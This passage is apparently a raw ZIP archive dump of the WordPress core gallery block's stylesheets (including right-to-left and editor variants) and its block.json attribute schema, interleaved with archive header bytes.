figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative;text-shadow:none}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{content:none}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}PK\d[}?$�	�	
editor.cssnu�[���:root :where(figure.wp-block-gallery){
  display:block;
}
:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{
  flex:0 0 100%;
}
:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{
  flex-basis:100%;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{
  display:block;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{
  margin:4px 0;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{
  position:absolute;
  right:5px;
  top:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{
  display:none;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{
  margin-bottom:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{
  margin:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{
  z-index:2;
}
:root :where(figure.wp-block-gallery) .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}
.gallery-settings-buttons .components-button:first-child{
  margin-right:8px;
}

.gallery-image-sizes .components-base-control__label{
  margin-bottom:4px;
}
.gallery-image-sizes .gallery-image-sizes__loading{
  align-items:center;
  color:#757575;
  display:flex;
  font-size:12px;
}
.gallery-image-sizes .components-spinner{
  margin:0 8px 0 4px;
}
.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{
  outline:none;
}
.blocks-gallery-item figure.is-selected:before{
  bottom:0;
  box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
  content:"";
  left:0;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.blocks-gallery-item figure.is-transient img{
  opacity:.3;
}
.blocks-gallery-item .block-editor-media-placeholder{
  height:100%;
  margin:0;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}

.wp-block-gallery ul.blocks-gallery-grid{
  margin:0;
  padding:0;
}

@media (min-width:600px){
  .wp-block-update-gallery-modal{
    max-width:480px;
  }
}

.wp-block-update-gallery-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}PK\d[���
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/gallery",
	"title": "Gallery",
	"category": "media",
	"allowedBlocks": [ "core/image" ],
	"description": "Display multiple images in a rich gallery.",
	"keywords": [ "images", "photos" ],
	"textdomain": "default",
	"attributes": {
		"images": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": ".blocks-gallery-item",
			"query": {
				"url": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "src"
				},
				"fullUrl": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "data-full-url"
				},
				"link": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "data-link"
				},
				"alt": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "alt",
					"default": ""
				},
				"id": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "data-id"
				},
				"caption": {
					"type": "rich-text",
					"source": "rich-text",
					"selector": ".blocks-gallery-item__caption"
				}
			}
		},
		"ids": {
			"type": "array",
			"items": {
				"type": "number"
			},
			"default": []
		},
		"shortCodeTransforms": {
			"type": "array",
			"items": {
				"type": "object"
			},
			"default": []
		},
		"columns": {
			"type": "number",
			"minimum": 1,
			"maximum": 8
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": ".blocks-gallery-caption"
		},
		"imageCrop": {
			"type": "boolean",
			"default": true
		},
		"randomOrder": {
			"type": "boolean",
			"default": false
		},
		"fixedHeight": {
			"type": "boolean",
			"default": true
		},
		"linkTarget": {
			"type": "string"
		},
		"linkTo": {
			"type": "string"
		},
		"sizeSlug": {
			"type": "string",
			"default": "large"
		},
		"allowResize": {
			"type": "boolean",
			"default": false
		}
	},
	"providesContext": {
		"allowResize": "allowResize",
		"imageCrop": "imageCrop",
		"fixedHeight": "fixedHeight"
	},
	"supports": {
		"anchor": true,
		"align": true,
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true
			}
		},
		"html": false,
		"units": [ "px", "em", "rem", "vh", "vw" ],
		"spacing": {
			"margin": true,
			"padding": true,
			"blockGap": [ "horizontal", "vertical" ],
			"__experimentalSkipSerialization": [ "blockGap" ],
			"__experimentalDefaultControls": {
				"blockGap": true,
				"margin": false,
				"padding": false
			}
		},
		"color": {
			"text": false,
			"background": true,
			"gradients": true
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"allowEditing": false,
			"default": {
				"type": "flex"
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-gallery-editor",
	"style": "wp-block-gallery"
}
PK\d[��;�.A.A
style-rtl.cssnu�[���.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){
  display:flex;
  flex-wrap:wrap;
  list-style-type:none;
  margin:0;
  padding:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  margin:0 0 1em 1em;
  position:relative;
  width:calc(50% - 1em);
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){
  margin-left:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{
  align-items:flex-end;
  display:flex;
  height:100%;
  justify-content:flex-start;
  margin:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{
  display:block;
  height:auto;
  max-width:100%;
  width:auto;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:.8em;
  margin:0;
  max-height:100%;
  overflow:auto;
  padding:3em .77em .7em;
  position:absolute;
  text-align:center;
  width:100%;
  z-index:2;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{
  display:inline;
}
.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{
  flex-grow:1;
}
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{
  flex:1;
  height:100%;
  object-fit:cover;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{
  margin-left:0;
  width:100%;
}
@media (min-width:600px){
  .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{
    margin-left:1em;
    width:calc(33.33333% - .66667em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{
    margin-left:1em;
    width:calc(25% - .75em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{
    margin-left:1em;
    width:calc(20% - .8em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{
    margin-left:1em;
    width:calc(16.66667% - .83333em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{
    margin-left:1em;
    width:calc(14.28571% - .85714em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{
    margin-left:1em;
    width:calc(12.5% - .875em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){
    margin-left:0;
  }
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{
  margin-left:0;
}
.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{
  max-width:420px;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{
  justify-content:center;
}

.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{
  align-self:flex-start;
}

figure.wp-block-gallery.has-nested-images{
  align-items:normal;
}

.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){
  margin:0;
  width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);
}
.wp-block-gallery.has-nested-images figure.wp-block-image{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  max-width:100%;
  position:relative;
}
.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{
  flex-direction:column;
  flex-grow:1;
  margin:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img{
  display:block;
  height:auto;
  max-width:100% !important;
  width:auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{
  bottom:0;
  left:0;
  max-height:100%;
  position:absolute;
  right:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{
  -webkit-backdrop-filter:blur(3px);
          backdrop-filter:blur(3px);
  content:"";
  height:100%;
  -webkit-mask-image:linear-gradient(0deg, #000 20%, #0000);
          mask-image:linear-gradient(0deg, #000 20%, #0000);
  max-height:40%;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
  background:linear-gradient(0deg, #0006, #0000);
  box-sizing:border-box;
  color:#fff;
  font-size:13px;
  margin:0;
  overflow:auto;
  padding:1em;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  text-align:center;
  text-shadow:0 0 1.5px #000;
  will-change:transform;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{
  background-color:#fffc;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{
  scrollbar-color:#fffc #0000;
}
@media (hover:none){
  .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
    scrollbar-color:#fffc #0000;
  }
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{
  display:inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{
  color:inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{
  flex:1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{
  background:none;
  color:inherit;
  flex:initial;
  margin:0;
  padding:10px 10px 9px;
  position:relative;
  text-shadow:none;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{
  content:none;
}
.wp-block-gallery.has-nested-images figcaption{
  flex-basis:100%;
  flex-grow:1;
  text-align:center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){
  margin-bottom:auto;
  margin-top:0;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){
  align-self:inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){
  display:flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{
  flex:1 0 0%;
  height:100%;
  object-fit:cover;
  width:100%;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){
  width:100%;
}
@media (min-width:600px){
  .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){
    width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){
    width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75);
  }
  .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){
    width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8);
  }
  .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){
    width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333);
  }
  .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){
    width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714);
  }
  .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){
    width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){
    width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){
    width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{
    width:100%;
  }
}
.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-gallery.has-nested-images.aligncenter{
  justify-content:center;
}PK\d[�g*8A8A	style.cssnu�[���.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){
  display:flex;
  flex-wrap:wrap;
  list-style-type:none;
  margin:0;
  padding:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  margin:0 1em 1em 0;
  position:relative;
  width:calc(50% - 1em);
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){
  margin-right:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{
  align-items:flex-end;
  display:flex;
  height:100%;
  justify-content:flex-start;
  margin:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{
  display:block;
  height:auto;
  max-width:100%;
  width:auto;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:.8em;
  margin:0;
  max-height:100%;
  overflow:auto;
  padding:3em .77em .7em;
  position:absolute;
  text-align:center;
  width:100%;
  z-index:2;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{
  display:inline;
}
.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{
  flex-grow:1;
}
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{
  flex:1;
  height:100%;
  object-fit:cover;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{
  margin-right:0;
  width:100%;
}
@media (min-width:600px){
  .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{
    margin-right:1em;
    width:calc(33.33333% - .66667em);
  }
